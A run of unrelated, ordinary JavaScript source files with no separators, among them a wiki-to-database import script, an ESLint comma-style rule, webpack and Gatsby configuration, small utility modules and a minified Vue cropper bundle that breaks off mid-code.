'Talk': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.talk = htmlBody contentDetails.workspace.fields.talk = htmlBody break; default: } } else if(ctnType === 'Att'){ switch(key){ case 'Intro': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.Description = '' overviewClearFlag = false content.workspace.fields.Description = htmlBody contentDetails.workspace.fields.Description = htmlBody } htmlBody = htmlBody.replace(/<.*?>/g,'') content.workspace.i18n.en.fields.summary = htmlBody contentDetails.workspace.i18n.en.fields.summary = htmlBody break; case 'Understand': if(overviewClearFlag){ //the first time update overview if(wikitextObj['Intro']){ try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj['Intro'][0]) } catch(err){ console.log('Get html from wikitext "Intro" for wikidata %s Error - %s', item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.Description = '' overviewClearFlag = false content.workspace.fields.Description = htmlBody contentDetails.workspace.fields.Description = htmlBody } else{ content.workspace.fields.Description += '<br /><h2>Introduction</h2><br />' + htmlBody contentDetails.workspace.fields.Description += '<br /><h2>Introduction</h2><br />' + htmlBody } } try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.Description = '' overviewClearFlag = false content.workspace.fields.Description = htmlBody contentDetails.workspace.fields.Description = htmlBody } else{ content.workspace.fields.Description += '<br /><h2>Understand</h2><br />' + htmlBody contentDetails.workspace.fields.Description += '<br /><h2>Understand</h2><br />' + htmlBody } } else{ //Not the first time try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.Description = '' overviewClearFlag = false content.workspace.fields.Description = htmlBody contentDetails.workspace.fields.Description = htmlBody } else{ content.workspace.fields.Description += '<br /><h2>Understand</h2><br />' + htmlBody contentDetails.workspace.fields.Description += '<br /><h2>Understand</h2><br />' + htmlBody } } break; case 'Get around': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.getAround = htmlBody contentDetails.workspace.fields.getAround = htmlBody break; case 'Buy': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.buy = htmlBody contentDetails.workspace.fields.buy = htmlBody break; case 'See': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.see = htmlBody contentDetails.workspace.fields.see = htmlBody break; case 'Eat': if(!restaurantClearFlag){ content.workspace.fields.eatNDrink += '<br />' contentDetails.workspace.fields.eatNDrink += '<br />' } else{ restaurantClearFlag = false content.workspace.fields.eatNDrink = '' contentDetails.workspace.fields.eatNDrink = '' } try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.eatNDrink += htmlBody contentDetails.workspace.fields.eatNDrink += htmlBody break; case 'Drink': if(!restaurantClearFlag){ content.workspace.fields.eatNDrink += '<br />' contentDetails.workspace.fields.eatNDrink += '<br />' } else{ restaurantClearFlag = false content.workspace.fields.eatNDrink = '' contentDetails.workspace.fields.eatNDrink = '' } try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.eatNDrink += htmlBody contentDetails.workspace.fields.eatNDrink += htmlBody break; case 'Get in': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.getIn = htmlBody contentDetails.workspace.fields.getIn = htmlBody break; case 'Go next': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.goNext = htmlBody contentDetails.workspace.fields.goNext = htmlBody break; case 'Do': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.do = htmlBody contentDetails.workspace.fields.do = htmlBody break; case 'Sleep': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.sleep = htmlBody contentDetails.workspace.fields.sleep = htmlBody break; case 'Stay safe': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.staySafe = htmlBody contentDetails.workspace.fields.staySafe = htmlBody break; default: } } else if(ctnType === 'Country'){ switch(key){ case 'Intro': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.destination_overview = '' overviewClearFlag = false content.workspace.fields.destination_overview = htmlBody contentDetails.workspace.fields.destination_overview = htmlBody } htmlBody = htmlBody.replace(/<.*?>/g,'') content.workspace.i18n.en.fields.summary = htmlBody contentDetails.workspace.i18n.en.fields.summary = htmlBody break; case 'Understand': if(overviewClearFlag){ //the first time update overview if(wikitextObj['Intro']){ try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj['Intro'][0]) } catch(err){ console.log('Get html from wikitext "Intro" for wikidata %s Error - %s', item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.destination_overview = '' overviewClearFlag = false content.workspace.fields.destination_overview = htmlBody contentDetails.workspace.fields.destination_overview = htmlBody } else{ content.workspace.fields.destination_overview += '<br /><h2>Introduction</h2><br />' + htmlBody contentDetails.workspace.fields.destination_overview += '<br /><h2>Introduction</h2><br />' + htmlBody } } try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.destination_overview = '' overviewClearFlag = false content.workspace.fields.destination_overview = htmlBody contentDetails.workspace.fields.destination_overview = htmlBody } else{ content.workspace.fields.destination_overview += '<br /><h2>Understand</h2><br />' + htmlBody contentDetails.workspace.fields.destination_overview += '<br /><h2>Understand</h2><br />' + htmlBody } } else{ //Not the first time try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } if(overviewClearFlag){ content.workspace.fields.destination_overview = '' overviewClearFlag = false content.workspace.fields.destination_overview = htmlBody contentDetails.workspace.fields.destination_overview = htmlBody } else{ content.workspace.fields.destination_overview += '<br /><h2>Understand</h2><br />' + htmlBody contentDetails.workspace.fields.destination_overview += '<br /><h2>Understand</h2><br />' + htmlBody } } break; case 'Get around': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.getAround = htmlBody contentDetails.workspace.fields.getAround = htmlBody break; case 'Buy': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.buy = htmlBody contentDetails.workspace.fields.buy = htmlBody break; case 'See': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.attraction_overview = htmlBody contentDetails.workspace.fields.attraction_overview = htmlBody break; case 'Eat': if(!restaurantClearFlag){ content.workspace.fields.eatNDrink += '<br />' contentDetails.workspace.fields.eatNDrink += '<br />' } else{ restaurantClearFlag = false content.workspace.fields.eatNDrink = '' contentDetails.workspace.fields.eatNDrink = '' } try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.eatNDrink += htmlBody contentDetails.workspace.fields.eatNDrink += htmlBody break; case 'Drink': if(!restaurantClearFlag){ content.workspace.fields.eatNDrink += '<br />' contentDetails.workspace.fields.eatNDrink += '<br />' } else{ restaurantClearFlag = false content.workspace.fields.eatNDrink = '' contentDetails.workspace.fields.eatNDrink = '' } try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.eatNDrink += htmlBody contentDetails.workspace.fields.eatNDrink += htmlBody break; case 'Get in': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.getIn = htmlBody contentDetails.workspace.fields.getIn = htmlBody break; case 'Talk': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.talk = htmlBody contentDetails.workspace.fields.talk = htmlBody break; case 'Cities': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.cities = htmlBody contentDetails.workspace.fields.cities = htmlBody break; case 'Do': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.do = htmlBody contentDetails.workspace.fields.do = htmlBody break; case 'Sleep': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.sleep = htmlBody contentDetails.workspace.fields.sleep = htmlBody break; case 'Stay safe': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.safety = htmlBody contentDetails.workspace.fields.safety = htmlBody break; case 'Stay healthy': try{ htmlBody = await wikiUtil.parseWikitext2Html(wikitextObj[key][0]) } catch(err){ console.log('Get html from wikitext %s for wikidata %s Error - %s', key, item.wikiData, err) } content.workspace.fields.health = htmlBody contentDetails.workspace.fields.health = htmlBody break; default: } } j++ } content.workspace.fields.wikiSource = item.source contentDetails.workspace.fields.wikiSource = item.source content.live = content.workspace contentDetails.live = contentDetails.workspace // content.text = item.bookurData // content.workspace.i18n.en.fields.text = item.bookurData // contentDetails.text = item.bookurData // contentDetails.workspace.i18n.en.fields.text = item.bookurData if(operateDB){ let res let filter = {_id: content._id} let options = {} try{ res = await buUtil.updateSingleContent(mdbUrl, filter, content, options) } catch(err){ console.log('Update master content - %s - Error! err = %s', content.text, err) } console.log('Update master content - %s succeeded!', content.text) filter = {_id: contentDetails._id} try{ res = await buUtil.updateSingleContent(mdbUrl, filter, contentDetails, options) } catch(err){ console.log('Update detail content - %s - Error! err = %s', contentDetails.text, err) } console.log('Update detail content - %s succeeded!', contentDetails.text) } else{ content4DB.push(content) contentDetails4DB.push(contentDetails) } i++ } if(!operateDB){ fs.writeFileSync('./log/importData2DB-'+ctnType+'-content.json', JSON.stringify(content4DB)); fs.writeFileSync('./log/importData2DB-'+ctnType+'-contentDetails.json', JSON.stringify(contentDetails4DB)); } console.log('****** Import %s Data to %s DONE ******', ctnType, targetEnv) } main()
const Node = require('../Node.js'); class IfStatement extends Node { initialise(transforms) { super.initialise(transforms); } transpile(code, transforms) { if ( this.consequent.type !== 'BlockStatement' || (this.consequent.type === 'BlockStatement' && this.consequent.synthetic) ) { code.appendLeft(this.consequent.start, '{ '); code.prependRight(this.consequent.end, ' }'); } if ( this.alternate && this.alternate.type !== 'IfStatement' && (this.alternate.type !== 'BlockStatement' || (this.alternate.type === 'BlockStatement' && this.alternate.synthetic)) ) { code.appendLeft(this.alternate.start, '{ '); code.prependRight(this.alternate.end, ' }'); } super.transpile(code, transforms); } } module.exports = IfStatement;
/** * @fileoverview Comma style - enforces comma styles of two types: last and first * @author Vignesh Anand aka vegetableman */ "use strict"; const astUtils = require("../ast-utils"); //------------------------------------------------------------------------------ // Rule Definition //------------------------------------------------------------------------------ module.exports = { meta: { docs: { description: "enforce consistent comma style", category: "Stylistic Issues", recommended: false }, fixable: "code", schema: [ { enum: ["first", "last"] }, { type: "object", properties: { exceptions: { type: "object", additionalProperties: { type: "boolean" } } }, additionalProperties: false } ] }, create(context) { const style = context.options[0] || "last", sourceCode = context.getSourceCode(); let exceptions = {}; if (context.options.length === 2 && context.options[1].hasOwnProperty("exceptions")) { exceptions = context.options[1].exceptions; } //-------------------------------------------------------------------------- // Helpers //-------------------------------------------------------------------------- /** * Determines if a given token is a comma operator. * @param {ASTNode} token The token to check. * @returns {boolean} True if the token is a comma, false if not. * @private */ function isComma(token) { return !!token && (token.type === "Punctuator") && (token.value === ","); } /** * Modified text based on the style * @param {string} styleType Style type * @param {string} text Source code text * @returns {string} modified text * @private */ function getReplacedText(styleType, text) { switch (styleType) { case "between": return `,${text.replace("\n", "")}`; case "first": return `${text},`; case "last": return `,${text}`; default: return ""; } } /** * Determines the fixer function for a given style. * @param {string} styleType comma style * @param {ASTNode} previousItemToken The token to check. * @param {ASTNode} commaToken The token to check. * @param {ASTNode} currentItemToken The token to check. * @returns {Function} Fixer function * @private */ function getFixerFunction(styleType, previousItemToken, commaToken, currentItemToken) { const text = sourceCode.text.slice(previousItemToken.range[1], commaToken.range[0]) + sourceCode.text.slice(commaToken.range[1], currentItemToken.range[0]); const range = [previousItemToken.range[1], currentItemToken.range[0]]; return function(fixer) { return fixer.replaceTextRange(range, getReplacedText(styleType, text)); }; } /** * Validates the spacing around single items in lists. * @param {Token} previousItemToken The last token from the previous item. * @param {Token} commaToken The token representing the comma. * @param {Token} currentItemToken The first token of the current item. * @param {Token} reportItem The item to use when reporting an error. * @returns {void} * @private */ function validateCommaItemSpacing(previousItemToken, commaToken, currentItemToken, reportItem) { // if single line if (astUtils.isTokenOnSameLine(commaToken, currentItemToken) && astUtils.isTokenOnSameLine(previousItemToken, commaToken)) { return; } else if (!astUtils.isTokenOnSameLine(commaToken, currentItemToken) && !astUtils.isTokenOnSameLine(previousItemToken, commaToken)) { // lone comma context.report({ node: reportItem, loc: { line: commaToken.loc.end.line, column: commaToken.loc.start.column }, message: "Bad line breaking before and after ','.", fix: getFixerFunction("between", previousItemToken, commaToken, currentItemToken) }); } else if (style === "first" && !astUtils.isTokenOnSameLine(commaToken, currentItemToken)) { context.report({ node: reportItem, message: "',' should be placed first.", fix: getFixerFunction(style, previousItemToken, commaToken, currentItemToken) }); } else if (style === "last" && astUtils.isTokenOnSameLine(commaToken, currentItemToken)) { context.report({ node: reportItem, loc: { line: commaToken.loc.end.line, column: commaToken.loc.end.column }, message: "',' should be placed last.", fix: getFixerFunction(style, previousItemToken, commaToken, currentItemToken) }); } } /** * Checks the comma placement with regards to a declaration/property/element * @param {ASTNode} node The binary expression node to check * @param {string} property The property of the node containing child nodes. * @private * @returns {void} */ function validateComma(node, property) { const items = node[property], arrayLiteral = (node.type === "ArrayExpression"); if (items.length > 1 || arrayLiteral) { // seed as opening [ let previousItemToken = sourceCode.getFirstToken(node); items.forEach(function(item) { const commaToken = item ? sourceCode.getTokenBefore(item) : previousItemToken, currentItemToken = item ? sourceCode.getFirstToken(item) : sourceCode.getTokenAfter(commaToken), reportItem = item || currentItemToken, tokenBeforeComma = sourceCode.getTokenBefore(commaToken); // Check if previous token is wrapped in parentheses if (tokenBeforeComma && tokenBeforeComma.value === ")") { previousItemToken = tokenBeforeComma; } /* * This works by comparing three token locations: * - previousItemToken is the last token of the previous item * - commaToken is the location of the comma before the current item * - currentItemToken is the first token of the current item * * These values get switched around if item is undefined. * previousItemToken will refer to the last token not belonging * to the current item, which could be a comma or an opening * square bracket. currentItemToken could be a comma. * * All comparisons are done based on these tokens directly, so * they are always valid regardless of an undefined item. */ if (isComma(commaToken)) { validateCommaItemSpacing(previousItemToken, commaToken, currentItemToken, reportItem); } previousItemToken = item ? sourceCode.getLastToken(item) : previousItemToken; }); /* * Special case for array literals that have empty last items, such * as [ 1, 2, ]. These arrays only have two items show up in the * AST, so we need to look at the token to verify that there's no * dangling comma. */ if (arrayLiteral) { const lastToken = sourceCode.getLastToken(node), nextToLastToken = sourceCode.getTokenBefore(lastToken); if (isComma(nextToLastToken)) { validateCommaItemSpacing( sourceCode.getTokenBefore(nextToLastToken), nextToLastToken, lastToken, lastToken ); } } } } //-------------------------------------------------------------------------- // Public //-------------------------------------------------------------------------- const nodes = {}; if (!exceptions.VariableDeclaration) { nodes.VariableDeclaration = function(node) { validateComma(node, "declarations"); }; } if (!exceptions.ObjectExpression) { nodes.ObjectExpression = function(node) { validateComma(node, "properties"); }; } if (!exceptions.ArrayExpression) { nodes.ArrayExpression = function(node) { validateComma(node, "elements"); }; } return nodes; } };
const HtmlWebpackPlugin = require("html-webpack-plugin"); const copyWebpackPlugin = require('copy-webpack-plugin'); const path = require("path"); module.exports = { entry: "./src/index.js", output: { path: path.resolve(__dirname, "public"), filename: "bundle.js" }, module: { rules: [{ test: /\.css$/, use: [{ loader: "style-loader" }, { loader: "css-loader" } ] }, { test: /\.woff$/, use: [{ loader: "url-loader" }] }, { test: /\.(png|jpg)$/, use: [{ loader: 'file-loader', options: { outputPath: './images', name: "[name].[ext]", }, }] }, ] }, plugins: [ new HtmlWebpackPlugin({ template: "./src/index.html", filename: "index.html" }), new copyWebpackPlugin({ patterns: [{ from: path.resolve(__dirname, 'src/images'), to: path.resolve(__dirname, 'public/images') }] }), ] }
const lapis= 0; const papyrus = 1; const scalpellus = 2; let playerChoice = prompt("Do you choose lapis, papyrus or scalpellus?"); let computerChoice = Math.floor(Math.random() * 3);
$.extend(true,$.summernote.lang,{ 'tr-TR':{ /* Turkish */ imageAttributes:{ dialogTitle: 'Resim Özellikleri', tooltip: 'Resim Özellikleri', tabImage: 'Yükleme', src: 'Kaynak', browse: 'Araştır', title: 'Başlık', alt: 'Alt. Metin', dimensions: 'boyutlar', tabAttributes: 'Öznitellikler', class: 'Sınıf', style: 'Stil', role: 'Rol', tabLink: 'bağlantı', linkHref: 'URL', linkTarget: 'Hedef', linkTargetInfo: 'Seçenekler: _self, _blank, _top, _parent', linkClass: 'Sınıf', linkStyle: 'Stil', linkRel: 'Rol', linkRelInfo: 'Seçenekler: alternate, author, bookmark, help, license, next, nofollow, noreferrer, prefetch, prev, search, tag', linkRole: 'Rol', tabUpload: 'Yükleme', upload: 'Yükleme', tabBrowse: 'Araştır', editBtn: 'tamam' } } });
/** * Layout component that queries for data * with Gatsby's useStaticQuery component * * See: https://www.gatsbyjs.org/docs/use-static-query/ */ import React from "react" import PropTypes from "prop-types" import "./bootstrap.min.css" import "./layout.css" import Footer from "./Reusable/Footer" import Navbar from "./Reusable/Navbar" const Layout = ({children})=>( <> <Navbar /> {children} <Footer /> </> ) Layout.propTypes = { children: PropTypes.node.isRequired, } export default Layout
/** * Copyright (c) 2013-present, Facebook, Inc. * All rights reserved. * * This source code is licensed under the BSD-style license found in the * LICENSE file in the root directory of this source tree. An additional grant * of patent rights can be found in the PATENTS file in the same directory. * * @providesModule File * @flow * @format */ 'use strict'; const Blob = require('./Blob'); const invariant = require('fbjs/lib/invariant'); import type {BlobOptions} from './BlobTypes'; /** * The File interface provides information about files. */ class File extends Blob { /** * Constructor for JS consumers. */ constructor( parts: Array<Blob | string>, name: string, options?: BlobOptions, ) { invariant( parts != null && name != null, 'Failed to construct `File`: Must pass both `parts` and `name` arguments.', ); super(parts, options); this.data.name = name; } /** * Name of the file. */ get name(): string { invariant(this.data.name != null, 'Files must have a name set.'); return this.data.name; } /* * Last modified time of the file. */ get lastModified(): number { return this.data.lastModified || 0; } } module.exports = File;
/*- * ‌ * Hedera Mirror Node * ​ * Copyright (C) 2019 Hedera Hashgraph, LLC * ​ * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ‍ */ const config = { limits: { RESPONSE_ROWS: 1000, MAX_BIGINT: 9223372036854775807 }, // Time to Live for cache entries for each type of API ttls: { transactions: 10, balances: 60, accounts: 60, events: 10 } } module.exports = config;
import { debug } from '../../logger'; import applyFactory from '../../applyFactory'; const APIExports = {}; /** * Register a plugin api. * @param pluginName {String} Plugin name. * @param factory {Function} Plugin api factory. */ export function definePluginAPI({ pluginName }, factory) { debug(`Register Plugin API ${pluginName}`); APIExports[pluginName] = applyFactory(factory); } export function getPluginAPI(pluginName) { return APIExports[pluginName]; }
dataViewTemplateLayui.use(['index', 'form'], function () { var layuiSelector = layui.$ , form = layui.form; });
export const BM_NODE_CHANGED = "BM_NODE_CHANGED"; export const BM_NODE_CREATED = "BM_NODE_CREATED"; export const BM_NODE_MOVED = "BM_NODE_MOVED"; export const BM_NODE_REMOVED = "BM_NODE_REMOVED"; export default { BM_NODE_CHANGED, BM_NODE_CREATED, BM_NODE_MOVED, BM_NODE_REMOVED, };
// This file handles the /metadata route "use strict"; const meta = require('express').Router(); const git = require('git-rev-sync'); const pjson = require('../package.json'); meta.get('/', (req, res) => { // console.log(process.env.npm_package_description) let result = { "version": pjson.version, // Version number from package.json "description" : pjson.description, // app description from package.json "lastcommitsha": git.long() // use the git-rev-sync to get the long hash for the last git commit } res.status(200).json(result); // Reply with the result object }) module.exports = meta;
(window.webpackJsonp=window.webpackJsonp||[]).push([[4],{1:function(t,e,o){"use strict";function r(t,e,o,r,a,i,n,p){var s,c="function"==typeof t?t.options:t;if(e&&(c.render=e,c.staticRenderFns=o,c._compiled=!0),r&&(c.functional=!0),i&&(c._scopeId="data-v-"+i),n?(s=function(t){(t=t||this.$vnode&&this.$vnode.ssrContext||this.parent&&this.parent.$vnode&&this.parent.$vnode.ssrContext)||"undefined"==typeof __VUE_SSR_CONTEXT__||(t=__VUE_SSR_CONTEXT__),a&&a.call(this,t),t&&t._registeredComponents&&t._registeredComponents.add(n)},c._ssrRegister=s):a&&(s=p?function(){a.call(this,this.$root.$options.shadowRoot)}:a),s)if(c.functional){c._injectStyles=s;var l=c.render;c.render=function(t,e){return s.call(e),l(t,e)}}else{var h=c.beforeCreate;c.beforeCreate=h?[].concat(h,s):[s]}return{exports:t,options:c}}o.d(e,"a",function(){return r})},20:function(t,e,o){t.exports=function(t){function e(r){if(o[r])return o[r].exports;var a=o[r]={i:r,l:!1,exports:{}};return t[r].call(a.exports,a,a.exports,e),a.l=!0,a.exports}var o={};return e.m=t,e.c=o,e.i=function(t){return t},e.d=function(t,o,r){e.o(t,o)||Object.defineProperty(t,o,{configurable:!1,enumerable:!0,get:r})},e.n=function(t){var o=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(o,"a",o),o},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=4)}([function(t,e){t.exports=function(){var t=[];return t.toString=function(){for(var t=[],e=0;e<this.length;e++){var o=this[e];o[2]?t.push("@media "+o[2]+"{"+o[1]+"}"):t.push(o[1])}return t.join("")},t.i=function(e,o){"string"==typeof e&&(e=[[null,e,""]]);for(var r={},a=0;a<this.length;a++){var i=this[a][0];"number"==typeof i&&(r[i]=!0)}for(a=0;a<e.length;a++){var n=e[a];"number"==typeof n[0]&&r[n[0]]||(o&&!n[2]?n[2]=o:o&&(n[2]="("+n[2]+") and ("+o+")"),t.push(n))}},t}},function(t,e,o){function r(t,e){for(var o=0;o<t.length;o++){var r=t[o],a=d[r.id];if(a){a.refs++;for(var i=0;i<a.parts.length;i++)a.parts[i](r.parts[i]);for(;i<r.parts.length;i++)a.parts.push(l(r.parts[i],e))}else{for(var n=[],i=0;i<r.parts.length;i++)n.push(l(r.parts[i],e));d[r.id]={id:r.id,refs:1,parts:n}}}}function a(t){for(var e=[],o={},r=0;r<t.length;r++){var a=t[r],i=a[0],n=a[1],p=a[2],s=a[3],c={css:n,media:p,sourceMap:s};o[i]?o[i].parts.push(c):e.push(o[i]={id:i,parts:[c]})}return e}function i(t,e){var o=f(t.insertInto);if(!o)throw new Error("Couldn't find a style target. This probably means that the value for the 'insertInto' parameter is invalid.");var r=v[v.length-1];if("top"===t.insertAt)r?r.nextSibling?o.insertBefore(e,r.nextSibling):o.appendChild(e):o.insertBefore(e,o.firstChild),v.push(e);else{if("bottom"!==t.insertAt)throw new Error("Invalid value for parameter 'insertAt'. Must be 'top' or 'bottom'.");o.appendChild(e)}}function n(t){t.parentNode.removeChild(t);var e=v.indexOf(t);e>=0&&v.splice(e,1)}function p(t){var e=document.createElement("style");return t.attrs.type="text/css",c(e,t.attrs),i(t,e),e}function s(t){var e=document.createElement("link");return t.attrs.type="text/css",t.attrs.rel="stylesheet",c(e,t.attrs),i(t,e),e}function c(t,e){Object.keys(e).forEach(function(o){t.setAttribute(o,e[o])})}function l(t,e){var o,r,a;if(e.singleton){var i=g++;o=m||(m=p(e)),r=h.bind(null,o,i,!1),a=h.bind(null,o,i,!0)}else t.sourceMap&&"function"==typeof URL&&"function"==typeof URL.createObjectURL&&"function"==typeof URL.revokeObjectURL&&"function"==typeof Blob&&"function"==typeof btoa?(o=s(e),r=function(t,e,o){var r=o.css,a=o.sourceMap,i=void 0===e.convertToAbsoluteUrls&&a;(e.convertToAbsoluteUrls||i)&&(r=b(r)),a&&(r+="\n/*# sourceMappingURL=data:application/json;base64,"+btoa(unescape(encodeURIComponent(JSON.stringify(a))))+" */");var n=new Blob([r],{type:"text/css"}),p=t.href;t.href=URL.createObjectURL(n),p&&URL.revokeObjectURL(p)}.bind(null,o,e),a=function(){n(o),o.href&&URL.revokeObjectURL(o.href)}):(o=p(e),r=function(t,e){var o=e.css,r=e.media;if(r&&t.setAttribute("media",r),t.styleSheet)t.styleSheet.cssText=o;else{for(;t.firstChild;)t.removeChild(t.firstChild);t.appendChild(document.createTextNode(o))}}.bind(null,o),a=function(){n(o)});return r(t),function(e){if(e){if(e.css===t.css&&e.media===t.media&&e.sourceMap===t.sourceMap)return;r(t=e)}else a()}}function h(t,e,o,r){var a=o?"":r.css;if(t.styleSheet)t.styleSheet.cssText=w(e,a);else{var i=document.createTextNode(a),n=t.childNodes;n[e]&&t.removeChild(n[e]),n.length?t.insertBefore(i,n[e]):t.appendChild(i)}}var d={},u=function(t){var e;return function(){return void 0===e&&(e=function(){return/msie [6-9]\b/.test(self.navigator.userAgent.toLowerCase())}.apply(this,arguments)),e}}(),f=function(t){var e={};return function(t){return void 0===e[t]&&(e[t]=function(t){return document.querySelector(t)}.call(this,t)),e[t]}}(),m=null,g=0,v=[],b=o(8);t.exports=function(t,e){if("undefined"!=typeof DEBUG&&DEBUG&&"object"!=typeof document)throw new Error("The style-loader cannot be used in a non-browser environment");(e=e||{}).attrs="object"==typeof e.attrs?e.attrs:{},void 0===e.singleton&&(e.singleton=u()),void 0===e.insertInto&&(e.insertInto="head"),void 0===e.insertAt&&(e.insertAt="bottom");var o=a(t);return r(o,e),function(t){for(var i=[],n=0;n<o.length;n++){var p=o[n],s=d[p.id];s.refs--,i.push(s)}t&&r(a(t),e);for(var n=0;n<i.length;n++){var s=i[n];if(0===s.refs){for(var c=0;c<s.parts.length;c++)s.parts[c]();delete d[s.id]}}}};var w=function(){var t=[];return function(e,o){return t[e]=o,t.filter(Boolean).join("\n")}}()},function(t,e,o){o(10);var r=o(11)(o(3),o(12),null,null);t.exports=r.exports},function(t,e,o){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=o(9),a=(o.n(r),o(5)),i=o.n(a),n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t};e.default={props:{trigger:{type:[String,Element],required:!0},uploadHandler:{type:Function},uploadUrl:{type:String},uploadHeaders:{type:Object},uploadFormName:{type:String,default:"file"},uploadFormData:{type:Object,default:function(){return{}}},cropperOptions:{type:Object,default:function(){return{aspectRatio:1,autoCropArea:1,viewMode:1,movable:!1,zoomable:!1}}},outputOptions:{type:Object,default:function(){return{width:512,height:512}}},outputMime:{type:String,default:"image/jpeg"},outputQuality:{type:Number,default:.9},mimes:{type:String,default:"image/png, image/gif, image/jpeg, image/bmp, image/x-icon"},labels:{type:Object,default:function(){return{submit:"提交",cancel:"取消"}}}},data:function(){return{cropper:void 0,dataUrl:void 0,filename:void 